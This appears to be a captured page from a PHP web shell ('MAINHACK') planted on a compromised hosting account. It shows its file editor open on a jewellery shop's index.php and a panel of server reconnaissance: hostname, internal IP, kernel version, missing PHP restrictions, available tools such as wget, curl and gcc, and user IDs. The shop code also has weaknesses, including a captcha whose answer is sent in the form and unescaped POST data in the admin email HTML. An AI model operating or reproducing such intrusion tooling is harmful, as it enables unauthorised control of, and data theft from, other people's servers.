[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.php
<?php include('header.php');?> <div class="banner"> <div class="particle-network-animation" style=""></div> <div id="banner-slider" class="owl-carousel"> <?php $count=1; $sr='top_slider'; $stmt =$show->readAll($sr); $num = $stmt->rowCount(); if($num>0){ while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="item"> <img src="<?=$pic_img?>/<?=$row['image']?>" alt="Banner Sree Alankar" class="bannerimg"> </div> <?php } }?> </div> <div class="dec-banner" data-aos="fade-down" style="transition: all 1300ms ease-in-out;"> <div class="container"> <h4 data-aos="zoom-in" style="transition: all 1400ms ease-in-out;">sreealankar.in</h4> <h2 data-aos="fade-right" style="transition: all 1300ms ease-in-out;">You can see all of <b>Sreealankar's</b> new collections here.</h2> <h3 data-aos="fade-down" style="transition: all 1500ms ease-in-out;"> There is a great collection for all types of Girls</h3> <a href="contact.php" class ="button" > <span></span> <span></span> <span></span> <span></span> Contact us</a> </div> </div> </div> <!-- Shop By Category --> <section class="category" data-aos="fade-down" style="transition: all 1300ms ease-in-out;"> <div class="container"> <div class="category-box" data-aos="zoom-in" style="transition: all 1400ms ease-in-out;"> <img src="images/p5.png" alt=""> <div class="category-text"> <h3>Neck Sets</h3> <a href="product.php?cate=<?=base64_encode('Neck Set')?>">Explore <i class="fa fa-angle-right"></i></a> </div> </div> <div class="category-box" data-aos="zoom-in" style="transition: all 1430ms ease-in-out;"> <img src="images/p0.png" alt=""> <div class="category-text"> <h3>Earrings</h3> <a href="product.php?cate=<?=base64_encode('Earrings')?>">Explore <i class="fa fa-angle-right"></i></a> </div> </div> <div class="category-box" data-aos="zoom-in" style="transition: all 1470ms ease-in-out;"> <img src="images/p6.png" alt=""> <div class="category-text"> <h3>Rings</h3> <a href="product.php?cate=<?=base64_encode('Rings')?>">Explore <i class="fa fa-angle-right"></i></a> </div> </div> <div class="category-box" data-aos="zoom-in" style="transition: all 1500ms ease-in-out;"> <img src="images/p10.png" alt=""> <div class="category-text"> <h3>Bangles</h3> <a href="product.php?cate=<?=base64_encode('Bangles')?>">Explore <i class="fa fa-angle-right"></i></a> </div> </div> <div class="category-box" data-aos="zoom-in" style="transition: all 1510ms ease-in-out;"> <img src="images/p7.png" alt=""> <div class="category-text"> <h3>Nosepins</h3> <a href="product.php?cate=<?=base64_encode('Nosepins')?>">Explore <i class="fa fa-angle-right"></i></a> </div> </div> </div> </section> <!-- Best Seller --> <section class="best_seller" data-aos="fade-down" style="transition: all 1300ms ease-in-out;"> <div class="title-home"> <h2>Best Seller</h2> </div> <div class="container"> <div id="best_seller" class="owl-carousel"> <?php $stmt =$show->readwithdata('product','bestsellers','Yes'); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; $s1 =$show->readwithdata('product_img','product_id',$row['product_id']); while ($row1 = $s1->fetch(PDO::FETCH_ASSOC)){ $img=$row1['img']; } ?> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="best_seller-box"> <img src="product_img/<?=$row['image']?>" alt=""> <div class="best_seller-text"> <h3><?=$row['title']?></h3> <a href="bestseller.php" > <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <?php } } ?> <!---- <div class="item" data-aos="fade-down" style="transition: all 1450ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p8.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Seller Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p9.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Seller Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1450ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p2.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Seller Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p3.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Seller Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1450ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p4.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Seller Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> ---> </div> </div> </section> <!-- About --> <section class="about" data-aos="fade-down" style="transition: all 1300ms ease-in-out;"> <div class="container"> <div class="row" data-aos="fade-down" style="transition: all 1300ms ease-in-out;"> <div class="col-lg-6 about-padding"> <h4 class="mt-lg-5">Sree Alankar <span>The all new Sreealankar collection</span></h4> <p class="mt-3">Welcome to Jewellery Style Destination, where style meets affordability! Explore our curated collection of trendy, high-quality jewelry, perfect for any occasion. From bold statement pieces to subtle, chic designs, we have something for everyone at prices that won’t break the bank. Find your next favorite accessory with us today!</p> </div> <div class="col-lg-6 px-sm-0 img-div"> <img src="images/ab1.png" alt="" class="img-fluid"> <img src="images/ab1-alt.png" alt="" class="img-fluid position-img" data-aos="zoom-in" style="transition: all 1400ms ease-in-out;"> </div> <div class="col-lg-6 px-sm-0 img-div mt-lg-0 mt-md-4 mt-0"> <img src="images/ab2.png" alt="" class="img-fluid"> <img src="images/ab2-alt.png" alt="" class="img-fluid position-img1" data-aos="zoom-in" style="transition: all 1400ms ease-in-out;"> </div> <div class="col-lg-6 about-padding"> <h3 class="mt-lg-5"> Jewellery Style Destination <span> You will find the best collection only with us. </span></h3> <p class="mt-3">Welcome to Jewellery Style Destination, where exceptional style meets affordability! Explore our exclusive collection of unique and fashionable jewelry designed to elevate any outfit. Whether you prefer bold or delicate pieces, you'll find the perfect accessory here, all at prices you’ll love. Discover your next treasure with us!</p> </div> </div> </div> </section> <!-- Neck Sets --> <section class="best_seller" data-aos="fade-down" style="transition: all 1300ms ease-in-out;"> <div class="title-home"> <h2>Neck Sets</h2> </div> <div class="container"> <div id="neck_sets" class="owl-carousel"> <?php $stmt =$show->readwithdata('product','category','Neck Set'); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="best_seller-box"> <img src="product_img/<?=$row['image']?>" alt=""> <div class="best_seller-text"> <h3><?=$row['title']?></h3> <a href="product.php?cate=<?=base64_encode('Neck Set')?>"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <?php } } ?> <!---- <div class="item" data-aos="fade-down" style="transition: all 1450ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p3.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Neck Sets Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p4.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Neck Sets Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1450ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p5.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Neck Sets Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="best_seller-box"> <img src="images/product3.jpeg" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Neck Sets Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1450ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p4.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Neck Sets Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> ---> </div> </div> </section> <!-- Earrings --> <section class="earrings_seller" data-aos="fade-down" style="transition: all 1300ms ease-in-out;"> <div class="title-home2"> <h2>Earrings</h2> </div> <div class="container"> <div id="earrings_seller" class="owl-carousel"> <?php $stmt =$show->readwithdata('product','category','Earrings'); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="earrings_seller-box"> <img src="product_img/<?=$row['image']?>" alt=""> <div class="earrings_seller-text"> <h3><?=$row['title']?></h3> <a href="product.php?cate=<?=base64_encode('Earrings')?>" > <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <?php } } ?> <!---- <div class="item" data-aos="fade-down" style="transition: all 1450ms ease-in-out;"> <div class="earrings_seller-box"> <img src="images/p1.png" alt=""> <div class="earrings_seller-text"> <h3>Sreealankar best Earrings Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="earrings_seller-box"> <img src="images/product44.jpeg" alt=""> <div class="earrings_seller-text"> <h3>Sreealankar best Earrings Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="earrings_seller-box"> <img src="images/product4.jpeg" alt=""> <div class="earrings_seller-text"> <h3>Sreealankar best Earrings Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="earrings_seller-box"> <img src="images/product44.jpeg" alt=""> <div class="earrings_seller-text"> <h3>Sreealankar best Earrings Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> --> </div> </div> </section> <!-- Rings --> <section class="best_seller" data-aos="fade-down" style="transition: all 1300ms ease-in-out;"> <div class="title-home2"> <h2>Rings</h2> </div> <div class="container"> <div id="rings_seller" class="owl-carousel"> <?php $stmt =$show->readwithdata('product','category','Rings'); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="best_seller-box"> <img src="product_img/<?=$row['image']?>" alt=""> <div class="best_seller-text"> <h3><?=$row['title']?></h3> <a href="product.php?cate=<?=base64_encode('Rings')?>" > <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <?php } } ?> <!---- <div class="item" data-aos="fade-down" style="transition: all 1450ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p9.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Rings Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p6.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Rings Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p9.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Rings Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p6.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Rings Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1450ms ease-in-out;"> <div class="best_seller-box"> <img src="images/p9.png" alt=""> <div class="best_seller-text"> <h3>Sreealankar best Rings Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> --> </div> </div> </section> <section class="body-img" data-aos="fade-down" style="transition: all 1400ms ease-in-out;width: 100%;"> <img src="images/body-bg.png" alt="" style="width: 100%;"> </section> <!-- Nosepins --> <section class="best_seller" data-aos="fade-down" style="transition: all 1300ms ease-in-out;"> <div class="title-home2"> <h2>Nosepins</h2> </div> <div class="container"> <div id="nosepins_seller" class="owl-carousel"> <?php $stmt =$show->readwithdata('product','category','Nosepins'); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="best_seller-box"> <img src="product_img/<?=$row['image']?>" alt=""> <div class="best_seller-text"> <h3><?=$row['title']?></h3> <a href="product.php?cate=<?=base64_encode('Nosepins')?>" > <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <?php } } ?> </div> </div> </section> <!-- Bangles --> <section class="earrings_seller" data-aos="fade-down" style="transition: all 1300ms ease-in-out;"> <div class="title-home2"> <h2>Bangles</h2> </div> <div class="container"> <div id="bangles_seller" class="owl-carousel"> <?php $stmt =$show->readwithdata('product','category','Bangles'); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="earrings_seller-box"> <img src="product_img/<?=$row['image']?>" alt=""> <div class="earrings_seller-text"> <h3><?=$row['title']?></h3> <a href="product.php?cate=<?=base64_encode('Bangles')?>" > <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <?php } } ?> <!--- <div class="item" data-aos="fade-down" style="transition: all 1450ms ease-in-out;"> <div class="earrings_seller-box"> <img src="images/p10.png" alt=""> <div class="earrings_seller-text"> <h3>Sreealankar best Bangles Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="earrings_seller-box"> <img src="images/p10.png" alt=""> <div class="earrings_seller-text"> <h3>Sreealankar best Bangles Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="earrings_seller-box"> <img src="images/p10.png" alt=""> <div class="earrings_seller-text"> <h3>Sreealankar best Bangles Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;"> <div class="earrings_seller-box"> <img src="images/p10.png" alt=""> <div class="earrings_seller-text"> <h3>Sreealankar best Bangles Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1450ms ease-in-out;"> <div class="earrings_seller-box"> <img src="images/p10.png" alt=""> <div class="earrings_seller-text"> <h3>Sreealankar best Bangles Product</h3> <a href="" data-toggle="modal" data-target="#myModal"> <i class="fa-solid fa-comment-sms"></i> Enquiry </a> </div> </div> </div> --> </div> </div> </section> <!-- Testimonials --> <section class="testimonials"> <div class="row"> <div class="col-md-6 col-sm-6 col-xs-12"> <img src="images/testmonial.png" style="width:100%;"> </div> <div class="col-md-6 col-sm-6 col-xs-12"> <img src="images/cotashan2.png" alt="" class="qutashan1" data-aos="zoom-in" style="transition:all 1500ms ease-in-out;"> <div id="testimonials-slider" class="owl-carousel"> <?php $count=1; $sr='testimonial'; $stmt =$show->readAll($sr); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;" > <div class="testimonials-box"> <img src="images/user-test.png" with="20%"> <p> "<?=$row['description']?>" </p> <h5>-<?=$row['name']?></h5> </div> </div> <?php } } ?> <!--- <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;" > <div class="testimonials-box"> <img src="images/user-test.png" with="20%"> <p> "Beautiful collection with great quality! Looks expensive but super budget-friendly!" </p> <h5>- Ronjita Choudhury</h5> <h6>(Germany)</h6> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;" > <div class="testimonials-box"> <img src="images/user-test.png" with="20%"> <p> ""Sree Alankar never disappoints! Unique pieces that always get me compliments." </p> <h5>- Shampa Mondal</h5> <h6>(Germany)</h6> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;" > <div class="testimonials-box"> <img src="images/user-test.png" with="20%"> <p> "Fast delivery, stunning designs, and amazing customer service! Highly recommend." </p> <h5>- Renu Narayan</h5> <h6>(United Kingdom)</h6> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;" > <div class="testimonials-box"> <img src="images/user-test.png" with="20%"> <p> "Affordable luxury! The jewelry looks premium without the hefty price tag." </p> <h5>- Rakhi Dasgupta</h5> <h6>(kolkata)</h6> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;" > <div class="testimonials-box"> <img src="images/user-test.png" with="20%"> <p> "Perfect for gifting! My friends loved the trendy and elegant pieces." </p> <h5>- Debashree Mukharjee</h5> <h6>(kolkata)</h6> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;" > <div class="testimonials-box"> <img src="images/user-test.png" with="20%"> <p> "Lightweight, stylish, and perfect for daily wear. My new favorite brand!" </p> <h5>- Sushmita Bose</h5> <h6>(Delhi)</h6> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;" > <div class="testimonials-box"> <img src="images/user-test.png" with="20%"> <p> "From traditional to modern, they have it all! My go-to for junk jewelry." </p> <h5>- Sunita Bose</h5> <h6>( Odisha)</h6> </div> </div> <div class="item" data-aos="fade-down" style="transition: all 1400ms ease-in-out;" > <div class="testimonials-box"> <img src="images/user-test.png" with="20%"> <p> "Great value for money! I keep coming back for more trendy pieces." </p> <h5>- Roshni shah</h5> <h6>( Japan)</h6> </div> </div> ---> </div> </div> </div> </section> <!-- Newsletter --> <section class="newsletter" data-aos="fade-down" style="transition: all 1400ms ease-in-out;width: 100%;"> <div class="container"> <h5>Newsletter</h5> <p><b>Sign up</b> for our monthly newsletter to get the latest news, volunteer opportunities,</p> <form enctype="#" action=""> <div class="email-box"> <input id="email" type="email" title="email" name="email" placeholder="Email Id"> <button type="submit"><i class="fa fa-search"></i></button> </div> </form> </div> </section> <!-- Pup-up--> <div id="myModal" class="modal fade pageloadPupup" role="dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">×</button> <img src="images/sreealankar_logo.png" alt="" class="" style=""> </div> <div class="modal-body"> <div class="col-md-3 col-sm-3 col-xs-12"> <div class="modal-images"> <ul> <li><img src="images/pop-img-1.png"></li> <li><img src="images/pop-img-2.png"></li> </ul> </div> </div> <div class="col-md-6 col-sm-6 col-xs-12"> <div class="modal-enquary"> <h3>Enquiry Form</h3> <form> <div class="modal-enquary-form"> <label>First Name<b>*</b></label> <input id="name" type="text" title="First Name" name="fname" placeholder="First Name"> </div> <div class="modal-enquary-form"> <label>Last Name<b>*</b></label> <input id="name" type="text" title="Last Name" name="lname" placeholder="Last Name"> </div> <div class="modal-enquary-form"> <label>Phone<b>*</b></label> <input id="name" type="text" title="phone" name="phone" placeholder="Phone Number"> </div> <div class="modal-enquary-form"> <label>Email<b>*</b></label> <input id="email" type="email" title="email" name="email" placeholder="Email ID"> </div> <div class="modal-enquary-form" id="b_name"> <label>Captcha<b>*</b></label> <input type="text" name="captcha" style="color: #fff !important; background: url(images/captchabg.png) no-repeat top right; background-size: auto; background-size: cover; letter-spacing: 3px; margin: 0 0 0 0; padding: 8px 0 8px 75px;" value="<?php echo rand(0,1999); ?>" readonly=""> </div> <div class="modal-enquary-form" id="b_name"> <label>Fill Captcha<b>*</b></label> <input type="text" name="put_captcha" placeholder="Captcha Please" required=""> </div> <div class="requirements"> <label>Requirement Details</label> <textarea placeholder="Any Special Requirements" name="requirement"></textarea> </div> <!--<div class="modal-enquary-form checkbox"> <input id="name" type="checkbox"> <a href="#">I Accept Terms and Condition</a> </div>--> <div class="modal-enquary-form enquary-btn"> <input type="submit" value="Submit" name="sub"> </div> </form> <?php if(isset($_POST['sub'])){ if($_POST['captcha']!=$_POST['put_captcha']){ echo "<script>alert('Oops !! Captcha is invalid!!')</script>"; }else{ $table='product_enquiry'; $name=htmlentities(strip_tags($_POST['fname']))." ".htmlentities(strip_tags($_POST['lname'])); $data = array( 'name' => $name, 'phone' => htmlentities(strip_tags($_POST['phone'])), 'email' => htmlentities(strip_tags($_POST['email'])), 'phone' => htmlentities(strip_tags($_POST['phone'])), 'requirements' => htmlentities(strip_tags($_POST['requirement'])), ); $em=htmlentities(strip_tags($_POST['email'])); $phn=htmlentities(strip_tags($_POST['phone'])); if($show->insert($table,$data)){ $email_subject = "Enquiry Confirmation"; $em11='<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">'; $email_content1="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Test Email Sample</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='https://itsweb.in/demobyITS/sreealankar/images/sreealankar_logo.png' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to $company_name</h3></td></tr> <tr><td text-align:center;font-size:14px;><br>Hi Admin,<br><br> New enquiry has been received.<br> Name: ".$name."<br> Phone: ".$_POST['phone']."<br> Email: ".$_POST['email']."<br> Requirement: ".$_POST['requirement']."<br> <br> <br><br><br><br> <br> </td></tr> </tr> </table> <p><b>$company_name</b><br> Web : $website<br> Email : $email<br> Phone : $phone<br> </p> <small>Copyright ©<?=date('Y')?> $company_name,$address. All rights reserved. </small> </body></html>"; $email_content=" <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Test Email Sample</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='https://itsweb.in/demobyITS/sreealankar/images/sreealankar_logo.png' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to $company_name</h3></td></tr> <tr><td text-align:center;font-size:14px;><br>Hi ".$name.",<br><br> Your enquiry with email id ".$em." has been successful.<br><br> <br> </td></tr> </tr> </table> <p><b>$company_name</b><br> Web : $website<br> Email : $email<br> Phone : $phone<br> </p> <small>Copyright ©<?=date('Y')?> $company_name,$address. All rights reserved. </small> </body></html>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if(@mail($email,$email_subject,$email_content1,$headers) && @mail($em,$email_subject,$email_content,$headers)) { /* echo "<script>alert('Thank you mail has been sent. We will contact you soon.'); </script>";*/ } else { // echo "<script>alert('Message not sent!')</script>"; } echo '<script> setTimeout(function() { swal({ title: "Thank You!", text: "Your enquiry has been sent. We will contact you soon.", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; } } } ?> </div> </div> <div class="col-md-3 col-sm-3 col-xs-12"> <div class="modal-images"> <ul> <li><img src="images/pop-img-3.png"></li> <li><img src="images/pop-img-4.png"></li> </ul> </div> </div> </div> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 339.34 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619